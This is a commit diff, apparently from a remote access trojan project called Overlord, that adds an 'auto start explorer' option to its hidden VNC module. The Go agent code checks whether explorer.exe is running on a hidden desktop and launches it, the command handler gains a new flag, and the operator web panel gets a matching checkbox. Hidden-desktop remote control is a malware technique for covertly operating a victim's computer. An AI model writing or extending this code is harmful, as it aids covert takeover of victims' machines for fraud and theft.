add auto start explorer
This commit is contained in:
@@ -16,35 +16,36 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
procCreateDesktopW = user32.NewProc("CreateDesktopW")
|
procCreateDesktopW = user32.NewProc("CreateDesktopW")
|
||||||
procOpenDesktopW = user32.NewProc("OpenDesktopW")
|
procOpenDesktopW = user32.NewProc("OpenDesktopW")
|
||||||
procCloseDesktop = user32.NewProc("CloseDesktop")
|
procCloseDesktop = user32.NewProc("CloseDesktop")
|
||||||
procSetThreadDesktop = user32.NewProc("SetThreadDesktop")
|
procSetThreadDesktop = user32.NewProc("SetThreadDesktop")
|
||||||
procGetThreadDesktop = user32.NewProc("GetThreadDesktop")
|
procGetThreadDesktop = user32.NewProc("GetThreadDesktop")
|
||||||
procSwitchDesktop = user32.NewProc("SwitchDesktop")
|
procSwitchDesktop = user32.NewProc("SwitchDesktop")
|
||||||
procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
|
procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
|
||||||
procGetDesktopWindow = user32.NewProc("GetDesktopWindow")
|
procGetDesktopWindow = user32.NewProc("GetDesktopWindow")
|
||||||
procGetWindowRect = user32.NewProc("GetWindowRect")
|
procGetWindowRect = user32.NewProc("GetWindowRect")
|
||||||
procIsWindowVisible = user32.NewProc("IsWindowVisible")
|
procIsWindowVisible = user32.NewProc("IsWindowVisible")
|
||||||
procPrintWindow = user32.NewProc("PrintWindow")
|
procPrintWindow = user32.NewProc("PrintWindow")
|
||||||
procGetWindow = user32.NewProc("GetWindow")
|
procGetWindow = user32.NewProc("GetWindow")
|
||||||
procGetTopWindow = user32.NewProc("GetTopWindow")
|
procGetTopWindow = user32.NewProc("GetTopWindow")
|
||||||
procCreateProcessW = kernel32.NewProc("CreateProcessW")
|
procCreateProcessW = kernel32.NewProc("CreateProcessW")
|
||||||
procSendInputHVNC = user32.NewProc("SendInput")
|
procSendInputHVNC = user32.NewProc("SendInput")
|
||||||
procGetCursorPosHVNC = user32.NewProc("GetCursorPos")
|
procGetCursorPosHVNC = user32.NewProc("GetCursorPos")
|
||||||
procWindowFromPoint = user32.NewProc("WindowFromPoint")
|
procWindowFromPoint = user32.NewProc("WindowFromPoint")
|
||||||
procScreenToClient = user32.NewProc("ScreenToClient")
|
procScreenToClient = user32.NewProc("ScreenToClient")
|
||||||
procPostMessageW = user32.NewProc("PostMessageW")
|
procPostMessageW = user32.NewProc("PostMessageW")
|
||||||
procSendMessageTimeoutW = user32.NewProc("SendMessageTimeoutW")
|
procSendMessageTimeoutW = user32.NewProc("SendMessageTimeoutW")
|
||||||
procSetWindowPos = user32.NewProc("SetWindowPos")
|
procSetWindowPos = user32.NewProc("SetWindowPos")
|
||||||
procSetForegroundWindow = user32.NewProc("SetForegroundWindow")
|
procSetForegroundWindow = user32.NewProc("SetForegroundWindow")
|
||||||
procSetActiveWindow = user32.NewProc("SetActiveWindow")
|
procSetActiveWindow = user32.NewProc("SetActiveWindow")
|
||||||
procSetFocus = user32.NewProc("SetFocus")
|
procSetFocus = user32.NewProc("SetFocus")
|
||||||
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
|
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
|
||||||
procGetAncestor = user32.NewProc("GetAncestor")
|
procGetAncestor = user32.NewProc("GetAncestor")
|
||||||
procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW")
|
procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW")
|
||||||
procToUnicode = user32.NewProc("ToUnicode")
|
procToUnicode = user32.NewProc("ToUnicode")
|
||||||
procGetWindowPlacement = user32.NewProc("GetWindowPlacement")
|
procGetWindowPlacement = user32.NewProc("GetWindowPlacement")
|
||||||
|
procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId")
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -164,6 +165,7 @@ var (
|
|||||||
hvncWindowToMove uintptr
|
hvncWindowToMove uintptr
|
||||||
hvncMouseButtons uint32
|
hvncMouseButtons uint32
|
||||||
hvncPendingActivate uintptr
|
hvncPendingActivate uintptr
|
||||||
|
hvncExplorerStarted bool
|
||||||
hvncTaskSeq atomic.Uint64
|
hvncTaskSeq atomic.Uint64
|
||||||
hvncCurrentTaskID atomic.Uint64
|
hvncCurrentTaskID atomic.Uint64
|
||||||
hvncCurrentTaskKind atomic.Int64
|
hvncCurrentTaskKind atomic.Int64
|
||||||
@@ -186,6 +188,7 @@ const (
|
|||||||
hvncTaskKeyDown
|
hvncTaskKeyDown
|
||||||
hvncTaskKeyUp
|
hvncTaskKeyUp
|
||||||
hvncTaskMouseWheel
|
hvncTaskMouseWheel
|
||||||
|
hvncTaskAutoStartExplorer
|
||||||
)
|
)
|
||||||
|
|
||||||
type hvncTask struct {
|
type hvncTask struct {
|
||||||
@@ -361,6 +364,7 @@ func CleanupHVNCDesktop() {
|
|||||||
hvncDesktopHandle = 0
|
hvncDesktopHandle = 0
|
||||||
}
|
}
|
||||||
hvncInitialized = false
|
hvncInitialized = false
|
||||||
|
hvncExplorerStarted = false
|
||||||
if hvncThreadTasks != nil {
|
if hvncThreadTasks != nil {
|
||||||
close(hvncThreadTasks)
|
close(hvncThreadTasks)
|
||||||
hvncThreadTasks = nil
|
hvncThreadTasks = nil
|
||||||
@@ -450,6 +454,8 @@ func ensureHVNCThread() error {
|
|||||||
result.err = hvncKeyOnThread(task.vk, false)
|
result.err = hvncKeyOnThread(task.vk, false)
|
||||||
case hvncTaskMouseWheel:
|
case hvncTaskMouseWheel:
|
||||||
result.err = hvncMouseWheelOnThread(task.delta)
|
result.err = hvncMouseWheelOnThread(task.delta)
|
||||||
|
case hvncTaskAutoStartExplorer:
|
||||||
|
result.err = hvncAutoStartExplorerOnThread()
|
||||||
default:
|
default:
|
||||||
result.img, result.err = hvncCaptureDisplayOnThread(task.display)
|
result.img, result.err = hvncCaptureDisplayOnThread(task.display)
|
||||||
}
|
}
|
||||||
@@ -503,6 +509,19 @@ func StartHVNCProcess(filePath string) error {
|
|||||||
return result.err
|
return result.err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func HVNCAutoStartExplorer() error {
|
||||||
|
if hvncExplorerStarted {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
result, err := executeHVNCTask(hvncTask{
|
||||||
|
kind: hvncTaskAutoStartExplorer,
|
||||||
|
}, 15*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return result.err
|
||||||
|
}
|
||||||
|
|
||||||
func HVNCInputMouseMove(display int, x, y int32) error {
|
func HVNCInputMouseMove(display int, x, y int32) error {
|
||||||
result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseMove, display: display, x: x, y: y}, 3*time.Second)
|
result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseMove, display: display, x: x, y: y}, 3*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -606,7 +625,7 @@ func hvncThreadWatchdog() {
|
|||||||
|
|
||||||
func shouldTraceHVNCTask(kind hvncTaskKind) bool {
|
func shouldTraceHVNCTask(kind hvncTaskKind) bool {
|
||||||
switch kind {
|
switch kind {
|
||||||
case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected:
|
case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected, hvncTaskAutoStartExplorer:
|
||||||
return true
|
return true
|
||||||
default:
|
default:
|
||||||
return false
|
return false
|
||||||
@@ -633,6 +652,8 @@ func hvncTaskKindName(kind hvncTaskKind) string {
|
|||||||
return "key_up"
|
return "key_up"
|
||||||
case hvncTaskMouseWheel:
|
case hvncTaskMouseWheel:
|
||||||
return "mouse_wheel"
|
return "mouse_wheel"
|
||||||
|
case hvncTaskAutoStartExplorer:
|
||||||
|
return "auto_start_explorer"
|
||||||
default:
|
default:
|
||||||
return fmt.Sprintf("unknown(%d)", kind)
|
return fmt.Sprintf("unknown(%d)", kind)
|
||||||
}
|
}
|
||||||
@@ -791,6 +812,60 @@ func startHVNCProcessOnThread(filePath string) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func hvncAutoStartExplorerOnThread() error {
|
||||||
|
if hvncExplorerStarted {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
found := false
|
||||||
|
hwnd := getTopWindow(0)
|
||||||
|
for hwnd != 0 {
|
||||||
|
var pid uint32
|
||||||
|
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
|
||||||
|
if pid != 0 && isExplorerPID(pid) {
|
||||||
|
found = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
hwnd = getWindow(hwnd, GW_HWNDNEXT)
|
||||||
|
}
|
||||||
|
|
||||||
|
if found {
|
||||||
|
log.Printf("hvnc: explorer.exe already running on HVNC desktop, skipping auto-start")
|
||||||
|
hvncExplorerStarted = true
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe")
|
||||||
|
err := startHVNCProcessOnThread("explorer.exe")
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("auto-start explorer failed: %w", err)
|
||||||
|
}
|
||||||
|
hvncExplorerStarted = true
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func isExplorerPID(pid uint32) bool {
|
||||||
|
const PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
|
||||||
|
hProc, _, _ := kernel32.NewProc("OpenProcess").Call(
|
||||||
|
PROCESS_QUERY_LIMITED_INFORMATION, 0, uintptr(pid),
|
||||||
|
)
|
||||||
|
if hProc == 0 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
defer procCloseHandle.Call(hProc)
|
||||||
|
|
||||||
|
var buf [260]uint16
|
||||||
|
size := uint32(len(buf))
|
||||||
|
ret, _, _ := kernel32.NewProc("QueryFullProcessImageNameW").Call(
|
||||||
|
hProc, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(unsafe.Pointer(&size)),
|
||||||
|
)
|
||||||
|
if ret == 0 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
name := strings.ToLower(syscall.UTF16ToString(buf[:size]))
|
||||||
|
return strings.HasSuffix(name, `\explorer.exe`)
|
||||||
|
}
|
||||||
|
|
||||||
func hvncMouseMoveOnThread(display int, x, y int32) error {
|
func hvncMouseMoveOnThread(display int, x, y int32) error {
|
||||||
bounds, _ := hvncResolveCaptureBounds(display)
|
bounds, _ := hvncResolveCaptureBounds(display)
|
||||||
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
||||||
|
|||||||
@@ -785,6 +785,13 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
|
|
||||||
// ==================== HVNC COMMANDS ====================
|
// ==================== HVNC COMMANDS ====================
|
||||||
case "hvnc_start":
|
case "hvnc_start":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
autoStartExplorer := false
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["autoStartExplorer"].(bool); ok {
|
||||||
|
autoStartExplorer = v
|
||||||
|
}
|
||||||
|
}
|
||||||
env.HVNCMu.Lock()
|
env.HVNCMu.Lock()
|
||||||
if env.HVNCCancel != nil {
|
if env.HVNCCancel != nil {
|
||||||
env.HVNCCancel()
|
env.HVNCCancel()
|
||||||
@@ -795,8 +802,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
done := make(chan struct{})
|
done := make(chan struct{})
|
||||||
env.HVNCDone = done
|
env.HVNCDone = done
|
||||||
goSafe("hvnc stream", env.Cancel, func() {
|
goSafe("hvnc stream", env.Cancel, func() {
|
||||||
log.Printf("hvnc: start requested")
|
log.Printf("hvnc: start requested (autoStartExplorer=%v)", autoStartExplorer)
|
||||||
_ = HVNCStart(hvncCtx, env)
|
_ = HVNCStart(hvncCtx, env, autoStartExplorer)
|
||||||
close(done)
|
close(done)
|
||||||
})
|
})
|
||||||
env.HVNCMu.Unlock()
|
env.HVNCMu.Unlock()
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ func GetPersistedHVNCDisplay() int {
|
|||||||
return hvncPersistedDisplayValue
|
return hvncPersistedDisplayValue
|
||||||
}
|
}
|
||||||
|
|
||||||
func HVNCStart(ctx context.Context, env *rt.Env) error {
|
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
|
||||||
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
|
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
|
||||||
capture.SetH264TargetFPS(fps)
|
capture.SetH264TargetFPS(fps)
|
||||||
log.Printf("hvnc: starting stream (max fps %d)", fps)
|
log.Printf("hvnc: starting stream (max fps %d)", fps)
|
||||||
@@ -36,6 +36,14 @@ func HVNCStart(ctx context.Context, env *rt.Env) error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if autoStartExplorer {
|
||||||
|
go func() {
|
||||||
|
if err := capture.HVNCAutoStartExplorer(); err != nil {
|
||||||
|
log.Printf("hvnc: auto-start explorer error: %v", err)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
ticker := time.NewTicker(interval)
|
ticker := time.NewTicker(interval)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
for {
|
for {
|
||||||
|
|||||||
@@ -25,6 +25,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
const mouseCtrl = document.getElementById("mouseCtrl");
|
const mouseCtrl = document.getElementById("mouseCtrl");
|
||||||
const kbdCtrl = document.getElementById("kbdCtrl");
|
const kbdCtrl = document.getElementById("kbdCtrl");
|
||||||
const cursorCtrl = document.getElementById("cursorCtrl");
|
const cursorCtrl = document.getElementById("cursorCtrl");
|
||||||
|
const autoExplorerCtrl = document.getElementById("autoExplorerCtrl");
|
||||||
const qualitySlider = document.getElementById("qualitySlider");
|
const qualitySlider = document.getElementById("qualitySlider");
|
||||||
const qualityValue = document.getElementById("qualityValue");
|
const qualityValue = document.getElementById("qualityValue");
|
||||||
const codecH264 = document.getElementById("codecH264");
|
const codecH264 = document.getElementById("codecH264");
|
||||||
@@ -199,7 +200,9 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
display: parseInt(displaySelect.value, 10) || 0,
|
display: parseInt(displaySelect.value, 10) || 0,
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
sendCmd("hvnc_start", {});
|
sendCmd("hvnc_start", {
|
||||||
|
autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true,
|
||||||
|
});
|
||||||
} else {
|
} else {
|
||||||
setStreamState("idle", "Stopped");
|
setStreamState("idle", "Stopped");
|
||||||
}
|
}
|
||||||
@@ -426,7 +429,9 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
desiredStreaming = true;
|
desiredStreaming = true;
|
||||||
lastFrameAt = 0;
|
lastFrameAt = 0;
|
||||||
setStreamState("starting", "Starting stream");
|
setStreamState("starting", "Starting stream");
|
||||||
sendCmd("hvnc_start", {});
|
sendCmd("hvnc_start", {
|
||||||
|
autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true,
|
||||||
|
});
|
||||||
});
|
});
|
||||||
stopBtn.addEventListener("click", function () {
|
stopBtn.addEventListener("click", function () {
|
||||||
desiredStreaming = false;
|
desiredStreaming = false;
|
||||||
|
|||||||
@@ -127,6 +127,9 @@
|
|||||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
|
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
|
||||||
><input type="checkbox" id="cursorCtrl" /> Cursor</label
|
><input type="checkbox" id="cursorCtrl" /> Cursor</label
|
||||||
>
|
>
|
||||||
|
<label class="flex items-center gap-2 text-sm text-slate-200" title="Auto-start explorer.exe on the hidden desktop when streaming begins"
|
||||||
|
><input type="checkbox" id="autoExplorerCtrl" checked /> Auto Explorer</label
|
||||||
|
>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|||||||
@@ -560,7 +560,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
switch (payload.type) {
|
switch (payload.type) {
|
||||||
case "hvnc_start":
|
case "hvnc_start":
|
||||||
if (!state.isStreaming) {
|
if (!state.isStreaming) {
|
||||||
sendHVNCCommand(target, "hvnc_start", {});
|
sendHVNCCommand(target, "hvnc_start", {
|
||||||
|
autoStartExplorer: payload.autoStartExplorer !== false,
|
||||||
|
});
|
||||||
state.isStreaming = true;
|
state.isStreaming = true;
|
||||||
hvncStreamingState.set(clientId, state);
|
hvncStreamingState.set(clientId, state);
|
||||||
logger.debug(`[hvnc] started streaming for client ${clientId}`);
|
logger.debug(`[hvnc] started streaming for client ${clientId}`);
|
||||||
|
|||||||
Reference in New Issue
Block a user